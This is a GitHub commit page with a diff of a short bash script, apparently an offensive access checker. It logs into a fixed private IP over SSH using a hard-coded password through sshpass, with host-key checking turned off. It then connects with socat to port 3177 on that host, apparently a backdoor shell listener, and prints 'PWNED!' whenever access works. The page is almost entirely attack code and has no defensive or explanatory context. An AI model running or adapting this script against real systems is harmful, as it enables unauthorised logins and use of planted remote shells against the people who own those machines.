-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
aff62e3
commit 09fb9e5
Showing
1 changed file
with
23 additions
and
20 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,26 +1,29 @@ | ||
#!/usr/bin/env bash | ||
echo "Start listening " | ||
####################### | ||
#First check for ssh connection | ||
username=user | ||
TARGET_IP=192.168.7.141 | ||
#ssh $username@$TARGET_IP -p 22 | ||
#going to try something new here | ||
########################### | ||
sudo apt-get install sshpass -y | ||
sshpass -p 'password' ssh $username@$TARGET_IP -p 22 | ||
if [ $(whoami) != $username ]; then | ||
echo "PWNED ! SSH is good " | ||
|
||
echo "Start listening..." | ||
|
||
# Define variables | ||
username="user" | ||
TARGET_IP="192.168.7.141" | ||
ssh_password="password" | ||
|
||
# Install sshpass if not already installed | ||
if ! command -v sshpass &> /dev/null; then | ||
sudo apt-get install sshpass -y | ||
fi | ||
|
||
# Try SSH connection | ||
echo "Attempting SSH connection..." | ||
if sshpass -p "$ssh_password" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 "$username@$TARGET_IP" -p 22 "echo connected"; then | ||
echo "PWNED! SSH is good." | ||
else | ||
echo "No SSH access" | ||
echo "No SSH access." | ||
fi | ||
############################# | ||
echo "Trying Socat access .. . " | ||
socat STDIO TCP4:192.168.7.141:3177 #access Socat | ||
if [ $(whoami) != 'pkvirus' ]; then | ||
echo "PWNED ! Socat is good " | ||
|
||
# Try Socat access | ||
echo "Trying Socat access..." | ||
if echo | socat STDIO TCP4:"$TARGET_IP":3177; then | ||
echo "PWNED! Socat is good." | ||
else | ||
echo "No socat access" | ||
echo "No Socat access." | ||
fi | ||
############################## |